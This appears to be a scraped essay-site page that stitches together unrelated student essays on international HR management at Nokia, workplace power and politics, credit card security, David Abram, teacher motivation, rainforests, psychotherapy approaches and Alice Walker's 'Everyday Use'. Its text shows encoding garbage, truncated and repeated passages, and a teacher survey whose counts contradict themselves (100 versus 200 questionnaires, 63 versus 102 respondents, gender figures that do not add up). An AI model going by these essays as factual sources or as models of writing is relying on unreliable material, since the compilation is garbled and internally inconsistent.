differences have been quite an issue in international human resource management. It is very important that human resource managers should be concerned about the cultural sensitivities. .Example 2: In Papua New Guinea, there was research on number of accidents happening on that region. Study found out that drivers who were responsible for the accidents were chewing a kind of nut. Chewing this nut was a common thing for that people. Therfore, it was decided that drivers are not allowed to chew the nut anymore associating it with the depressants such as alcohol, and were provided free coffee at certain locations. Managers did not know that the nut works same as coffee. This is an example recounted by Wyatt what works in home country does not work in another country. Coping with the cultural difference has been very challenging for MNCs. It has been a big responsibility for the firms to help staff and their families adjust in a new environment which can affect their performance as a whole. Training, Performance Management, Appraisal and Compensation Issues: Expatriate performance management: Nokia Telecommunication The effective HRM has been a key factor today for the companies to gain sustaining competitive advantage. Before the term performance appraisal was a standard to measure the performance of employees but today employees go through series of processes in which they are assessed which is called performance management. The case company is Nokia Telecommunications; Finnish based MNCs operating in the telecommunication industry . Nokia telecommunication is a company that has the largest number of foreign assignments with approx. 1200 expatriates for more than 15 years * Results of the research: The analysis revealed five different categories of expatriates as per job’s nature. 1. Top level manager:- They work in independent manner ant their performance is managed in distant way. They prepare their performance goal in common manner. 2. Middle level manager:- Some middle level managers were accountable to one or more superiors. Goals for the performance were prepared with mutual consent between employee and the superior 3. Business establisher:- They were particularly concerned about the gain and loss to set up new companies in another country having minimum goals. 4. Customer oriented expatriates:- They work on the projects for current customer and they rely upon the information provided for the goal of measuring performance on daily relationship basis with project manager. 5. R amp; D managers:- They are similar to customer projects. The difference is that they are physically proximal to their mangers. * Managerial Implications: This case underlines this point by demonstrating that despite the company’s standard performance management system intended for global use performance was managed differently. Therefore; one implication of this study is developing an expatriate PM system, a company should pay attention to specific situations and plans accordingly. Another implication is that companies may need to provide several PM tools for superiors’ and subordinates’ use. While standardizing the objectives of performance management, allowing diversity in the means and tool to achieve those objectives may be quite useful. In fact, the development of alternative PM tools may result in effective performance management. References Brewster C, P Sparrow, and G Vernon. 2007. International Human Resource Management. London: CIPD House Dowling PJ, M Festing, and AD Engle Sr. 2008. International Human Resource Management: Managing People in Multinational Context. 5th Ed. Australia: Thomson Learning Delery, J. E. , amp; Doty, D. H. 1996. Modes of theorizing in strategic human resource management: Tests of universalistic, contingency, and configurational performance predictions. Academy of Management Journal Haring AW and A Pinnington. 2010. International Human Resource Management. 3rd ed. India: SAGE publications. Harris H, C Brewster, and PR Sparrow. 2003. International Human Resource Management. London: CIPD House. Lazarova M, Michael Morley, and Tyson Shaun. 2008 â€Å"International comparative studies in HRM and performance†. International Journal of Human Resource Management 19(11): DOI: 10. 1080/09585190802404239 Mendenhall Mark, Gary R. Oddo, and Gunter K. Stahl. Readings and cases in International Human Resource Management. th Ed. Scullion H. 2001. International Human Resource Management. In: Human Resource Management: A Critical Text. London: International Thompson Business Press Schuler, R. , S. Youndblood, and V. Huber (eds. ) 1988. Human resource management choices and organizational strategy: From Readings in Personnel and Human Resource Management. St. Paul, MN: West Publishing. Tahvanainen, M. (2000). â€Å"Expatriate performance mana gement: The case of Nokia Telecommunications† Human Resource Management 39: 267–275. DOI: 10. 1002/1099-050X (200022/23) | | |

Free Essays on Politics In Business

What is Power? â€Å"Power is defined simplistically as the ability to get others people to do something that you want them to do† (Buhler, 2001). Power is control and many people are given the power to control other in their every day task. When one person controls the power and politics, that individual has complete domination. There are a number of people in this position, CEO, CFO, Human resources or just your manager has the power to change your life. â€Å"Just a decade ago, most organization reflected the traditional pyramid with the power concentrated at the top–most levels of the hierarchy. Today the reality is very different in many organization. Now, power is distributed more evenly throughout most organizations. This is a result of the empowerment of the workforce. This empowerment, however, has resulted in a major paradigm shift. It has required that everyone think very differently about the concept of power today† (Buhler, 2001). Every organization has politics that dominate the everyday lives of it workforce. The politics usually begins at the top of the pyramid. The whole political environment within a company can determine how long your employment will be and how much you will be paid. â€Å"Politics is one of the mechanisms that enable you to get things done through other people. Politics even helps share the culture of your organization. Organization politics is concerned with the use of actions to meet individual goals through means that the organization doesn’t necessarily sanction. Political behavior is generally outside the formal authority of the organization. You can use political behavior to achieve organizational or individual goals. It is the misuse and abuse of power and politics that has given both bad names. Politics is defined as the process of gaining and using power in the organization† (Buhler, 2001). We s... Free Essays on Politics In Business Free Essays on Politics In Business What is Power? â€Å"Power is defined simplistically as the ability to get others people to do something that you want them to do† (Buhler, 2001). Power is control and many people are given the power to control other in their every day task. When one person controls the power and politics, that individual has complete domination. There are a number of people in this position, CEO, CFO, Human resources or just your manager has the power to change your life. â€Å"Just a decade ago, most organization reflected the traditional pyramid with the power concentrated at the top–most levels of the hierarchy. Today the reality is very different in many organization. Now, power is distributed more evenly throughout most organizations. This is a result of the empowerment of the workforce. This empowerment, however, has resulted in a major paradigm shift. It has required that everyone think very differently about the concept of power today† (Buhler, 2001). Every organization has politics that dominate the everyday lives of it workforce. The politics usually begins at the top of the pyramid. The whole political environment within a company can determine how long your employment will be and how much you will be paid. â€Å"Politics is one of the mechanisms that enable you to get things done through other people. Politics even helps share the culture of your organization. Organization politics is concerned with the use of actions to meet individual goals through means that the organization doesn’t necessarily sanction. Political behavior is generally outside the formal authority of the organization. You can use political behavior to achieve organizational or individual goals. It is the misuse and abuse of power and politics that has given both bad names. Politics is defined as the process of gaining and using power in the organization† (Buhler, 2001). We s...

Case Study Essay Example | Topics and Well Written Essays - 1250 words - 14

Case Study - Essay Example ed start-up company, the Chief Information Security Officer (CISO) should be well equipped to handle a myriad of challenges and security threats posed by using online transactions. Companies like American Express, Visa, Discover, JCB, and MasterCard among others have experienced information security threats thus the new company should employ mechanisms that should protect information from both internal and external threats. The medium-sized credit card company needs to employ several mechanisms to ensure its customers and their private information remains safe and confidential. There have been cases of credit card frauds that have led to provision of guidelines to help in securing credit cards; for instance, the Payment Card Industry Data Security Standards (PCI DSS) that helps in securing credit cards data. Cyber-criminals careless users, disgruntled former and current employees present major challenges in handling network security especially the experts that target the system with aim of disrupting the normal company operations. There are major advancements that the company needs to perform to ensure cyber threats are kept at bay. Berry (2013) pinpoints several fundamentals that the company should focus on while offering its credit card services to its customers. For the company to be secure, it has to carry out the following tasks: There are vulnerabilities that are exploited by cyber criminals mostly in the operating systems, web browsers, browser plug-ins and software applications among other avenues. The company gadgets and computers that are frequently used should be kept updated thus reducing chances of them being exploited by cyber-criminals. Programs such as Adobe Acrobat, Flash, Oracle, Java, Microsoft Internet Explorer and other MS programs should be kept updated as they are mostly used during credit card usage. Using strong passwords for the cards enhances protection of the customer’s information. Cyber attackers use the loopholes of weak

David Abram Essay Example | Topics and Well Written Essays - 1500 words

David Abram - Essay Example Abraham goes ahead to state that once human beings accept their bodies, they perforce recognize that they are also animals. Despite the uniqueness in mankind, its place is not above the animated world but instead in its midst. He also disagrees with the view that perception is the act of hearing, being aware or seeing something as perceived remains static, but instead its an interaction between one body and others or things, where there is a sympathetic or symbiosis relationship. He then discusses language which is rooted in the experience of senses. In a nutshell, Abram’s work presents a complex, detailed and good work that defines the existence of humanity. It throws a spanner on the complacency of the perceived truths and replaces them with thoughts that if they are not understood, they will remain open questions. He refers to it as a turning inside out resulting to loosening of the psyche from the confinement of human sphere. Simone de Beauvoir In her study, Ethics of Ambi guity, Simone de Beauvoir begins by presenting the characteristics of oppression, which includes; it removes the oppressed from community members believed to be in authority and can influence decisions and also aims towards the reduction of the oppressed to the status of an object. In his work, he believes that manipulation desire is one of the main ways through which oppression is exercised. Just like Sartre, she holds that the destruction of passion or desire will have a negative consequence for the creation of life and have a purpose in it.

Motivation Theories for Becoming a Teacher

Motivation Theories for Becoming a Teacher ABSTRACT This paper identifies some the motivating factors of selecting teaching as a career. An emailed questionnaire was conducted to identify the key motivating factors they chose to become teachers. A total of 100 questionnaires were sent out asking Why did you choose teaching as a career choice? Sixty-Three men and women that are either current elementary education majors or current elementary school teachers participated. The survey result concludes that the motivating factors included a variety of what individuals valued in a job and what they needed in their life at that particular time. Surprisingly, factors such as financial incentives, vacation, and holidays off were not high on my survey results as being the reason they choose teaching as a career. This study proves that there are individuals that choose to go into elementary school teaching to inform, to guide, to enlighten, and to inspire students. My survey participants made comments in their responses that teaching has many re wards but the most valuable one is that they directly affect the lives of the student they teach. INTRODUCTION The aim of this paper is for me to understand why so many chosen teaching as a profession when the appeal for teaching seems to decline year after year. My study involved undergraduates, postgraduates, and current elementary school teachers in the public and catholic school sector. To choice education as a career you must have some type of striving force behind it, such as motivation. Motivation in spending their day with other peoples children shaping their young minds for tomorrow and shaping a young mind is a challenging task and has always been a challenging task throughout the years. And the truth of the matter is the challenge goes beyond just the student, but the challenge also lies with dealing with parents, the other faculty, and all the problems that go along with student problems at home; such as abuse. Exploring how motivation plays a factor when choosing teaching as a career lead to three main areas from those who decided to make teaching a career. (1) Altruistic reason: a desire to help children succeed, (2) Intrinsic reason: having a special interest or expertise in a subject matter that you want to share or cover, and (3) Extrinsic reason: a person only is interested in the holidays off and summer vacations. My questionnaire results touches on all three reasons. MOTIVATION You must have motivation when choosing teaching in elementary schools as a career. Recto (2005) stated what motivates individuals to go into teaching is very crucial. Motivation is a vital force that drives ones behavior toward initiating and carrying out the tasks that go along with being a teacher. Peoples reason for joining the teaching profession can be explained through their motives to do so. Motivation and understanding the reasons why people enter the teaching profession and what makes them stay or leave is essential, particularly, if we want success in maintaining a stable teaching force that contributes to teacher education quality and excellence. (Soh, 2008). Motivation is the process that gives ones behavior and choice purpose and direction. With such direction, the attention of the individual is focused on a particular goal, which is persistently worked on until it is fulfilled. Real teaching requires having motivation because teachers are constantly asking students to take big risks or to try a new way of thinking. UNDERGRADUATES VIEWS OF TEACHING AS A CAREER OPTION An individual decision to go into teaching or not is believed to be influenced by what they value in a job. (Kyriacou and Newson, 2008). If we are able to identify those factors which individuals consider important in their choice of career, and highlight the factors in teaching which match these, then we might hope to persuade better qualified students to consider teaching. (Johnson and Birkeland, 2003). To help student make the choice of being a teacher should start in elementary school, high school, and in college; teachers should inspire their students so that the students want more than anything else to become a teacher. Teachers need to express to the students frequently that they love teaching. Teachers should also encourage students to become teachers themselves. Overall, teachers must encourage with example, and that example is showing that they love their jobs. Teachers should also encourage directly, suggesting that everyone at least consider teaching as a profession. Thes e were some of the components missing in my own educational career as I prepared as an undergraduate student to become a teacher. In my studies I came across several classmates that appeared to be natural leaders but they opt out of becoming a teacher because they didnt see any personal satisfaction. Its unfortunate that the teacher didnt work more with those individuals to put their talent to work in the classroom, rather than let them slip off and use those talents in a boardroom. Undergrads who start their studies to become teachers made the decision to train as teachers, and the image of teaching as a career has had some influence in their decision. In other words, the view undergraduate student have of what they want from a career and how they view teaching as a career may well differ from the views of those who choose not to enter teaching. If we are to get a clearer understanding of what attracts and motives certain people into teaching, we may find an answer to making the educational program a more successful one in recruiting student to take up teaching as career. If more well-qualified graduates are to be encouraged to decide to teach, we need to identify those factors which are important to them in choosing a career and then be able to persuade them that teaching offers what they are looking for. In general, understanding undergraduates views of teaching as a career option can useful when coming up with teacher recruitment campaigns to target the now shrinking world of teaching. Arellano (2004), stated that public dissatisfaction with schools included dissatisfaction with teacher education. In fact, education schools have been criticized as ineffective in preparing for their work and not responsive to new demands. This observation agreed with McCreights (2000) pointing out that one reason why teachers leave the teaching profession is their discovery that their teacher education program had not actually prepared them for the realities of teaching. I can relate to that statement by McCreight, 2000. At the Western Illinois University graduation in Macomb, Illinois speaker Dr. Marcus Dewitt, an educator for NASA, said Teaching is a way of shaping the young minds of today for tomorrow. Its a challenging task that you the graduation class of 1994 have chosen to make a career. I believe the challenge Dr. Dewitt was referring to was teaching the unteachable. As a 20 year old female coming out of college the challenge I was experiencing within was motivation on how t o get through to the young minds of today. The truth is, teaching was demanding back in 1994 and it still is today. No doubt the choice to become a teacher is a decision to make a significant impact on the future and no career is simply easy or has no problems. But in 1994 I lacked the energy and the conviction that was needed to make a difference in the classrooms. INTERVIEW RESULTS: INTRINSIC, ALTRUISTIC, EXTRINSIC REWARDS A total of 102 questionnaires of the 200 distributed were returned completed. After reviewing the 102 questionnaires: 15 of the sample were male teachers, and 75 were female teachers. Twelve were students at both University of Illinois in Chicago and DePaul University in Chicago. Five are studying Curriculum Arts subjects (such as English and History majors), and 7 are studying Curriculum Science subjects (such as Biology, Chemistry, and Mathematics majors). My results from that questionnaire will be classified into three categories, namely: (1) intrinsic, (2) extrinsic, and (3) altruistic. Intrinsic reasons dwells on the enjoyment of teaching and the school environment. Extrinsic reasons include the motivation behind ones liking teaching such as long summer breaks and holidays. Altruistic reasons include being concerned with opportunities for making a difference in the lives of young people. The result of my questionnaire overwhelming agrees that most people motivations for pursuing a career in teaching was due to the altruistic reward. On the contrary, only 7 were motivated by extrinsic rewards. Other important factors about my questionnaire was the fact that most participates commented that teaching as a career choice is something that they were told would be enjoyable. Interestingly a good starting base salary was said by all the undergraduate students I questioned. Particularly noteworthy in my study there were a number of individuals mentioned they have a desire to work with children, a job where I will contribute to society and a job which gives me responsibility. In my research, Harms, and Knobloch (2005), states that recruitment effort for future teachers should be based on intrinsic motivation. Teachers who chose formal education as a career had intrinsic motives, while those who planned to pursue non-formal education careers had extrinsic motives. Here are some of the other responses to my questionnaire that stood out and is worth noting: Altruistic answers included: 1) The ability to contribute to the development of every child that seeks my help. 2) Promote the value of education to not only kids but to the parents as well. 3) Touch the lives of a child and become part of their success. 4) To make our world knowledgeable. 5) The kids help me keep myself learning and abreast of what is happening in the world. 6) Give direction to our lost generation. 7) Be able to leave a lasting legacy in the world is my desire. 8) Be a role model to a nation of kids. Intrinsic answers included: 1) Enhance my communication skill in and outside the classroom. 2) Develop my self-confidence that I lack. 3) Develop my decision making skills for career advancement. 3) Improve problem-solving skills for my own kids. 4) Enhance my own personal thinking skills. 5) Give myself more leadership skills. 6) Practice my creativity. Extrinsic answers included: 1) Take advantage of an educational scholarship grant. 2) To become popular in the community. 3) To take long summer vacation trips. 4) Enjoy the 2 weeks vacation Christmas break for traveling. 5) Get employed immediately. 6) Being in a union. 7) Being able to enjoy the government and non-government perks of being a teacher. On final note that is worth mentioning in this study results is that none of my participates gave mention about the governments commitment towards education or the dealings with disruptive pupils or even the media images of teachers as a factor in their choice to teach. CONCLUSION Teachers overwhelmingly say they love what they do. They say it allows them to contribute to society and help others. And they would choose teaching again as a career, if they had the choice. If a person has a genuine interest in helping children realize their dreams, and want to play a part in improving our society, then those are enough motivating factors I realize in doing my study to teach. On a personal note just because I have been taught by many teachers does not mean I knew what it would take to be a teacher. The best thing for me was to learn more about the teaching profession, by asking a teacher I knew and admire about how he or she became a teacher and why.

The Rain Forest Essay -- Ecology Environment Research Papers

The Rain Forest   Ã‚  Ã‚  Ã‚  Ã‚  The destruction of the rainforest is a problem that the people of the world can not continue to ignore. 14 percent of the Earth's land used to be covered by rainforests yet this number has dropped significantly to only about 6 percent (http://www.ran.org/ran/info_center/index.html). Rainforests provide the people of the world with many necessities, some of which would no longer be available if rainforests did not exist. In the last 50 years, rainforests have declined at a terrifying speed of 150 acres per minute or 75 million acres per year (http://www.ran.org/ran/info_center/index.html). People must open their eyes to the horrible tragedy that will inevitably occur if the citizens of the world do not realize the seriousness of this problem.   Ã‚  Ã‚  Ã‚  Ã‚  To better understand the importance of the rainforest, one must be knowledgeable about what a rainforest actually is. The two main types of rainforests are temperate and tropical. Tropical rainforests are located in Latin and South America, Africa, Southeast Asia, and other areas in which temperatures stay above 80 degrees Fahrenheit year round. They can be found in 85 countries all over the world, however, 90 percent of them are concentrated into fifteen countries, each containing over ten million hectares. Tropical rainforests receive 160 to 400 inches of rain each year. Although these dense, damp forests cover just 5 percent of the Earth's surface, they can provide homes for between 50 and 90 percent of the Earth's plants and animals (http://www.davesite.com/rainforests/review1.shtml).   Ã‚  Ã‚  Ã‚  Ã‚  Tropical rainforests consist of three distinct layers referred to as the forest floor, the understory, and the canopy. The forest floor contains very poor soil which is mainly due to the trees not allowing for ample sunlight to reach the ground. Because only one to two percent of the light at the top of the forest's canopy manages to reach the floor below, photosynthesis ceases to exist. On top of the soil lies a thin layer of the remains of millions of dead trees, plants, and animals which are quickly broken down by the numerous number of organisms on the floor (Nichol 45). It contains a variety of insects as well as larger mammals such as gorillas and jaguars. The understory is home to smaller mammals such as anteaters, lemurs, and tree kangaroos. It also contains ... ...rcent of the Earth's land used to be covered by rainforests yet this number has dropped significantly to only about 6 percent (http://www.ran.org/ran/info_center/index.html). Rainforests provide the people of the world with many necessities, some of which would no longer be available if rainforests did not exist. In the last 50 years, rainforests have declined at a terrifying speed of 150 acres per minute or 75 million acres per year (http://www.ran.org/ran/info_center/index.html). People must open their eyes to the horrible tragedy that will inevitably occur if the citizens of the world do not realize the seriousness of this problem. Sources Cited http://www.ran.org/ran/info_center/index.html http://www.davesite.com/rainforests/review1.shtml http://www.davesite.com/rainforests/review2.shtml http://www.davesite.com/rainforests/review3.shtml http://www.davesite.com/rainforests/review4.shtml http://www.davesite.com/rainforests/review5.shtml http://www.stevensonpress.com/intro.html http://www.ran.org/ran http://www.mtc.com.my/lib/formal/fact4/overview.htm Nichol, John. The Mighty Rainforest. The Netherlands: David and Charles Printing, 1990.

A Brief Comparison of Psychoanalytic and Person-Centered Therapy

Within the field of counseling and therapy there are endless theoretical stances, each of which develop different perspectives on humanity and establish varying counselor roles. Consideration of the implications of these various orientations is essential in the process of choosing the appropriate therapy for an individual. As an illustration, examine the stark contrast between psychoanalytic therapy and person-centered therapy. The core of any theoretical approach in psychology lies in the unique interpretation of human nature.Sigmund Freud; founder of the psychoanalytic movement, had an extremely deterministic view of the human experience (Corey, 2009). According to Freud; a combination of unconscious, irrational motivations and instinctual drives that lie outside of one’s conscious control serve as the basis for one’s personality (Corey, 2009). These irrational forces include Eros; the innate â€Å"life instinct† responsible for sexual energy and our desire to survive, and Thatanos; the innate â€Å"death instinct† responsible for aggression (Burger, 2008).In addition, Freud placed a heavy emphasis on the role of childhood experiences and sexuality in personality development. Psychoanalytic theory asserts that most of the conflict experienced in adulthood is a result of repressed unconscious material from childhood (Burger, 2008). The psychoanalytic view of human nature is quite contrary to the humanistic outlook. Carl Rogers; founder of the humanistic psychology movement, developed a more optimistic view of human nature.This approach asserts that at the core of each individual lies a â€Å"positive center†, which is composed of trustworthiness and capability (Corey, 2009). Person-centered therapy is centered on the belief that people have an innate â€Å"actualizing tendency† which drives an individual to strive for growth and personal fulfillment (Corey, 2009). Although past experiences are not ignored in therapy; t he emphasis on growth, development, and competence proposes that traumatic past experiences can be overcome by finding meaning and purpose in one’s life (Corey, 2009).Given their varying interpretations of human nature and psyche, person-centered therapists and psychoanalytic therapists establish very different roles in their practice. Because the goal of psychoanalytic therapy is to bring repressed unconscious material to light, the therapist utilizes a â€Å"blank-screen approach† (Corey, 2009). Although they initially establish some rapport with the client; psychoanalytic therapists assume an anonymous stance for the majority of therapy by behaving in a neutral, impersonal manner (Corey, 2009).The goal of this approach is to foster transference; in which clients project repressed emotions onto the impartial therapist (Corey, 2009). The main role of a psychoanalytic therapist is that of an interpreter. Therapy employs various techniques intended to evoke unconscious memories such as transference, dream-analysis, projection tests, and free association (Burger, 2008). These repressed memories are often ambiguous and puzzling to the client; thus therapists provide guidance in understanding and confronting the meaning of this material (Burger, 2008).In contrast, the goal of person-centered therapy is to create a nurturing environment which fosters the client’s actualizing tendencies and growth (Corey, 2009). The relationship between therapist and client is equal, meaning that the therapist can hold no dominant role (Corey, 2009). Rather than advising and interpreting, the therapist simply serves as a model for the patient. In order to be appropriate models, three characteristics are required of person-centered therapists (Corey, 2009).Firstly, they must have congruency in their own lives by being genuine and honest with themselves. Person-centered therapists must also accept their clients with â€Å"unconditional positive regard† (Cor ey, 2009). This vital concept assumes that therapists can accept their clients without any judgment, and deeply care for people beyond the obligations of their occupation. Lastly, therapists must have a true empathetic understanding of their clients. Person-centered therapists should be able to relate to their client’s feelings and experiences as if they were their own (Corey, 2009).Cumulatively these three qualities create an open relationship in which the client is free to express themselves and grow as an individual. Due to the intrinsic differences between psychoanalytic and person-centered therapy, it is necessary to examine their strengths and weaknesses in application. Freudian psychoanalytic therapy has been modified greatly over time due to many flaws in the therapeutic process. The most notable of these shortcomings is the intense emphasis on childhood experience in personality development (Burger, 2008).Critics claim that psychoanalytic therapy ignores the signific ant role of post-developmental and current life circumstances on mental health. In addition, the therapeutic process in lengthy and costly; limiting its application to those in well-off socioeconomic standing (Corey, 2009). There are however many beneficial uses of contemporary psychoanalytic therapy. Some argue that because all people are affected by childhood experiences, therapy can be applicable cross culturally; assuming therapists possess a multicultural awareness (Corey, 2009).In addition, brief psychoanalytic therapy is a promising new therapeutic approach that aims to limit the time and cost of psychoanalytic therapy while maintaining the focus on the inner psyche; thereby broadening its availability (Corey, 2009). Person-centered therapy is currently a more widely utilized form of therapy, but it is not without weaknesses. Critics argue that from a multicultural perspective, the internal locus of evaluation stressed in therapy may not be fitting for some collectivist cultu res; who value the opinions and standards of other group members over their own (Corey, 2009).Others contend that the non-directive stance of the therapist may not be sufficient for those seeking guidance from therapy. Although some aspects of therapy may be flawed, humanistic psychology has been responsible for some major breakthroughs in the field of human resources internationally. Humanistic psychologists have traveled to over 30 countries worldwide in order to assist different cultures in their adoption and modification of humanistic theory and therapy; in hopes of promoting global communication and understanding (Corey, 2009).Those who promote person-centered therapy also assert that the key therapeutic conditions of empathy, understanding, and honest caring are essential in promoting growth universally (Corey, 2009). References Burger, J. M. (2008). Personality. (8th ed. ). Belmont, CA: Wadsworth, Cengage Learning. Corey, G. (2013). Theory and Practice of Counseling and Psych otherapy. (9th ed. ). Belmont, CA: Brooks/Cole, Cengage Learning.

Everyday Use Literary Analysis Essay - 1306 Words

Mother vs. Daughter In the short story called â€Å"Everyday Use,† by Alice Walker, the mother daughter conflict theme is portrayed throughout the whole story. The oldest daughter Dee constantly believes that she is better than the rest of the family causing a family feud about who gets the cherished quilt. Dee has always been on a pedestal over her family and she soon finds out that it is no longer the case. Once she finds this out conflict arises. The biggest conflict lies between Mama and Dee. This is clearly illustrated by Dee’s high standards, selfish behavior, and lack of knowledge about her family’s heritage. Dee sets impossible standards for her mother, causing Mama to feel inferior. Dee forces Mama to be the way Dee would†¦show more content†¦In Dee’s eyes the pasture that her Mama lives in is not comparable to her fast pace high style world. This caused her to not even bring her friends over to their house (Walker 290). Her frien ds even put her on a pedestal, just like Mama. â€Å"They were nervous girls who never laughed. They were impressed with Dee they worshiped the well-turned phrase, the cute shape, and scalding humor that erupted like bubbles in lye† (Walker 290). This description of how Dee’s friends view her is told by Mama. This is another example of how Mama puts Dee on an unneeded pedestal. She describes her as some kind of God that her friends worship. In reality, it is Mama worshipping Dee. Dee’s selfishness is also portrayed by her cultured verbal skills. Dee can talk her way through anything. Dee often manipulates others with her verbal skills. This is shown when she reads to her mother and sister â€Å"without pity; forcing words, lies, other folks’ habits, whole lives upon us, sitting trapped and ignorant underneath her voice† (Walker 289). This statement further demonstrates the fact that Dee’s family feels inferior to her. Mama describe s the situation as if Dee has some kind of power over her family because she is scholarly and her family is not. Dee uses her education to make Mama and Maggie feel less important without, necessarily meaning to. Critic, Nancy Tuten believes that Mama does not like the fact that Dee bosses her and Maggie around.Show MoreRelatedEveryday Use Literary Analysis1021 Words   |  5 PagesEveryday Use Literary Analysis Alice Walker’s â€Å"Everyday Use† is a short, yet powerful story about a simple, rural family that’s changed with the return of one of the daughters. Maggie and â€Å"Mama† continue to keep the tradition of a simple and hardworking life that seems to be passed down from generations, but we see that Dee has been a black sheep since a young age and holds resentment toward her family because of their lifestyle. Mama was raised into this lifestyle and has become satisfied andRead MoreLiterary Analysis Of Everyday Use By Alice Walker1083 Words   |  5 PagesUse (Literary analysis on Everyday Use by Alice Walker) Everyday many people use the same things such as phones, cars, sinks, washer, refrigerators, and etc. In 100 years would you can future ancestors still have those things but only use them as decoration or use them still no matter how old they are because that is what they are made for? Everyday Use by Alice walker is a story of an African American family that had two daughter that live a very different reality. Maggie being scarred from aRead MoreLiterary Analysis Of Everyday Use By Alice Walker771 Words   |  4 Pages Most readers see what is shown on the surface, but do not go deeper between the lines. There are two different ways readers can interpret â€Å"Everyday Use† by Alice Walker. The first one being Dee/Wangero comes home as a new person with a new attitude. Dee’s mother sees her as a person who,†...washed us in a river of make-believe, burned us with a lot of knowledge we didn’t need to know.†Ã‚ ¬ (Walker 53). The other way the short story could be read is Mama shares the story in her point of view, whichRead MoreLiterary Language And Everyday Language1530 Words   |  7 PagesLiterary Language and Everyday Language What is a Language? At first glance, the question about what is the language might be strange, because we have been using language extemporarily, unconsciously for centuries ago. Nevertheless, the language is the essence difference between human beings and animals, due to what language offers to humans. It enables them to have a history and live the present as well as for planning for the future. furthermore, it is our major tool to communicate ,expressRead MoreTMA01 Plan MattBrayshaw1530 Words   |  7 Pagesbook, The art of English: everyday creativity: (a) Ronald Carter, ‘Common Language: corpus, creativity and cognition’, pp. 29–37. (b) Rukmini Bhaya Nair, ‘Implicature and impliculture in the short, short story and the tall, tall tale’, pp. 97–102. Summarise the main points of your chosen reading, and evaluate, with reference to other material in the module you have engaged with to date, the extent to which it helps you understand how to identify creativity in everyday language. Introduction OftenRead MoreAnalysis Of Walker s Everyday Use863 Words   |  4 PagesAnalysis of Walker’s â€Å"Everyday Use† The short story â€Å"Everyday Use,† by Alice Walker, contains multiple different literary elements. History and heritage play a key role in the development and conclusion of this rather intriguing story. Although history and heritage are important, the driving factors of this story are the literary elements. In particular the elements of symbols, characterization, and point of view in this story are significant. The use of symbols in this short story provide a deeperRead MoreDescribing Stylistics as a Concept in English Studies Essay1054 Words   |  5 Pagese. judge the literary worth on stylistic criteria), but more commonly attempts to simply analyse and describe the workings of texts which have already been selected as noteworthy on other grounds. Stylistic analysis in linguistics refers to the identification of patterns of usage in speech and writing. Analyses can appear objective, detailed and technical, even requiring computer assistance, but some caution is needed. Stylistic analysis in literary studies is usuallyRead MoreEssay about the men admiring themselves on the water891 Words   |  4 PagesThemselves In The water† which seems too short but includes more than what it looks in terms of meaning. Here, I tried to analyze his great but seeming little poem in terms of the physical characteristics of the poem,literary devices used in poem , emotions I have been felt by these literary devices,meaning of the poem and finally Why I chose this poem to analyze . Firstly ,I analyzed the rhyme scheme of poem as a only stanza and I found it one of the most unfamiliar rhyme scheme I have ever seenRead MoreGender: Annotated Bibliography Essay1480 Words   |  6 Pages Mills, S. (2012). Gender Matters: Frminist Linguistic Analysis. London : Equinox. Gender Matters is a collection of various essays on feminist linguistic texts analysis, by Sara Mills. Mills develops methods of analyzing literary and non-literary texts, in addition to conversational analysis based on a feminist approach. The author draws on data from her collection of essays gathered over the last two decades on feminism during the 1990s. The essays focus on gender issues, the representation ofRead MoreRhetorical Analysis Of A Bamboo Grove 1269 Words   |  6 PagesAmongst literary works, the reader is told to contemplate numerous aspects of a particular text. Through the use of literary analysis, the reader is guided to discern information that pertains to the written work they are studying. Literary topics such as: motifs, themes, analysis and deconstruction are ways in which a reader can approach a literary text. However, in RyÃ… «nosuke Akutagawa short story collection RashÃ… mon and 17 Other Stories the reader is introduced to a multitude of conflicting id eas